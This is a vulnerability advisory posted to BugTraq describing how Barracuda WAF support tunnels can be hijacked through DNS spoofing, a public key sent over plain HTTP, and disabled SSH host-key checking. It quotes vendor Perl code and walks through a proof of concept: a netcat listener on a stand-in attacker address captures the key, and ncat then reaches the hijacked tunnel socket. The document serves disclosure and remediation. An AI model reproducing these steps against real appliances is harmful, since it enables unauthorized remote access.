BugTraq
KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack Jul 06 2017 07:22PM
KoreLogic Disclosures (disclosures korelogic com)
KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

Title: Barracuda WAF Support Tunnel Hijack
Advisory ID: KL-001-2017-014
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-014.txt

1. Vulnerability Details

Affected Vendor: Barracuda
Affected Product: Web Application Firewall V360
Affected Version: Firmware v8.0.1.014
Platform: Embedded Linux
CWE Classification: CWE-304: Missing Critical Step In Authentication
Impact: Remote Access
Attack vector: DNS, SSH

2. Vulnerability Description

During the creation of a tunnel connection to barracuda
support, the code creating the tunnels fails to:
1) Validate DNS Records,
2) Validate SSH Host Key, and
3) Transmit Public SSH Key over an encrypted, verified channel.

3. Technical Description

file: /usr/local/bin/support-tunnel

The first host added to the available remote hosts is done through using
DNS resolution on support01.barracudanetworks.com. If an attacker can control DNS,
it is possible to subvert network traffic by creating records that will resolve to
an attacker's IP address.

[snip]
sub remote_hosts() {
my $central = 'support01.barracudanetworks.com';
my @hosts;
my $host = resolv_host($central) || $central;

push @hosts, {
'ssh' => { 'host' => $host, 'port' => 22 },
'web' => { 'host' => $host, 'port' => 80 },
};

push @hosts, {
'ssh' => { 'host' => '64.235.147.77', 'port' => 22 },
'web' => { 'host' => '64.235.147.77', 'port' => 80 },
};

push @hosts, {
'ssh' => { 'host' => '64.235.154.112', 'port' => 22 },
'web' => { 'host' => '64.235.154.112', 'port' => 80 },
};

return @hosts;
} # remote_hosts
[snip]

The appliance will send a URL-encoded copy of the public key using HTTP.

sub tunnel_post_key($$$$) {
my $host = shift;
my $port = shift;
my $serial = shift;
my $pubkey = shift;

[snip]

$url = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial,
Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION));

#
# Write an HTTP request.
#
$req = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n";

do {
$retval = aio_write($sock, $req);
} while ($retval == AIO_WOULDBLOCK && $stop > time);

if ($retval != AIO_SUCCESS) {
throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!");
aio_close($sock);
return undef;
}

[snip]

return 1;
} # tunnel_post_key

It should be noted that the appliance is shipped with a default key
(pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2ffa2d
1434176e93)
but will generate and submit a new key should the default key no longer exist.
This happens in the ssh_key_path function.

Finally, the appliance specifically sets StrictHostKeyChecking to no.
This instructs the ssh client to ignore any SSH host-key mismatch and allows
an attacker to more easily leverage their own SSH server for attacks.

sub ssh_command_args($\$$$$;$$) {
my $sshcmd = shift;
my $serialref = shift;
my $sshkey = shift;
my $sshhost = shift || 'support01.barracudanetworks.com';
my $sshport = shift || 22;
my $lsshport = shift || local_ssh_port || 22;
my $lwebport = shift || local_web_port || 8000;
my $lsslvpnport = shift;
if( get_product() eq "bvs" ) {
$lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport;
}
my @version = ssh_version_of($sshcmd);
my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost);

$has_unixfwd = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
$has_exitonfwdfailure = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
$has_defineremotehost = ($version[0] >= 4);

push @args, '-T'; # Don't allocate a TTY
push @args, '-' . ('v' x want_verbose) # Passthru verbosity
if want_verbose;
push @args, '-o', 'StrictHostKeyChecking=no'; # Ignore Support01 host key (bad idea?)
push @args, '-i', $sshkey;

push @args, '-o', 'ExitOnForwardFailure=yes' # Abort if forwarding fails. (By default if remote
forwarding fails SSH continues the session.)
if $has_exitonfwdfailure;

if ($has_unixfwd) {
push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:127.0.0.1:$lsshport";
push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:127.0.0.1:$lwebport";
push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:127.0.0.1:$lsslvpnport" if
get_product() eq "bvs";
[snip]

To demonstrate, we created DNS entries to force support01.barracudanetworks.com to resolve to 1.3.3.7.
Next, we bound to port 80. Using either the web application or admin console, we initiated a support
tunnel connection.

# nc -l -p 80
GET
/tunnel-broker?serial=853466&cs=6a62a850a77a698f015c35dba7e79a28&key=ssh
%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2bo
pttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rXg
XkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqAL
TLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331m
uHcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6
Y2RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=db06172872d43ce0370b4509
f3d0b876&version=2008012801
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: support01.barracudanetworks.com
User-Agent: libwww-perl/5.805

After creating the appropriate user and adding the public key to the
authorized_keys file, the SSH connection was successful.

sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 ssh2: RSA
de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49
sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0)
systemd-logind[692]: New session 92 of user redir.
systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0)

The tunnels can be connected to using the newly created unix socket.

# ncat -U /var/tunnels/www/853466.sock
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Server: BarracudaHTTP 4.0
Date: Thu, 15 Dec 2016 15:27:22 GMT
Content-Type: text/html
Content-Length: 178
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>BarracudaHTTP 4.0</center>
</body>
</html>

4. Mitigation and Remediation Recommendation

The vendor has patched this vulnerability in the latest
virtual appliance release.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

2016.12.20 - KoreLogic sends vulnerability report and PoC to
Barracuda.
2016.12.21 - Barracuda acknowledges receipt of the vulnerability
report.
2017.01.09 - Barracuda informs KoreLogic that they are working
on remediation for this issue.
2017.01.26 - Barracuda asks for additional time beyond the
standard 45 business day embargo to address this
and other issues reported by KoreLogic.
2017.02.27 - 45 business days have elapsed since the issue was
reported.
2017.04.10 - 75 business days have elapsed since the issue was
reported.
2017.05.15 - 100 business days have elapsed since the issue was
reported.
2017.05.24 - Barracuda informs KoreLogic that the issue has been fixed.
2017.07.06 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description

The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v2.2.txt

-----BEGIN PGP SIGNATURE-----

iQFOBAEBCAA4FiEE+cSrtp5jQJEtra70TWWaLA4ZiQwFAllejesaHGRpc2Nsb3N1
cmVzQGtvcmVsb2dpYy5jb20ACgkQTWWaLA4ZiQyW6Qf+Jps/Dtu5JOz5rW7FtePS
oianeMYxm1UWja737vXU8ujdk1Hb8/mDemfCc+Zph2QuhteUp6V2hIw9n+zYoqHb
Hc175EbiEkctrnnPxvxBe3k/t7qCiMbBwvrA8q+5tIQSd9daUNkTfj0Ch+4TSO+O
uDxRpdXLKRqqOeFAYpkenells06oazKR0/cp7UpaRHtjpunN7MVYkv3b2eKEX02f
35RqZ9UWXoAMDJTcy/MiEu1pdcNWwTXheqKa/UlTOzOOUTjxmnbO9dI+yt15NuKl
T91unMA/NV5DM3Nhl8CfDzg3KxyVIoJPJkCW9+64IuMiJZ5VTViQvJMPs3q/lawN
uA==
=WcKM
-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus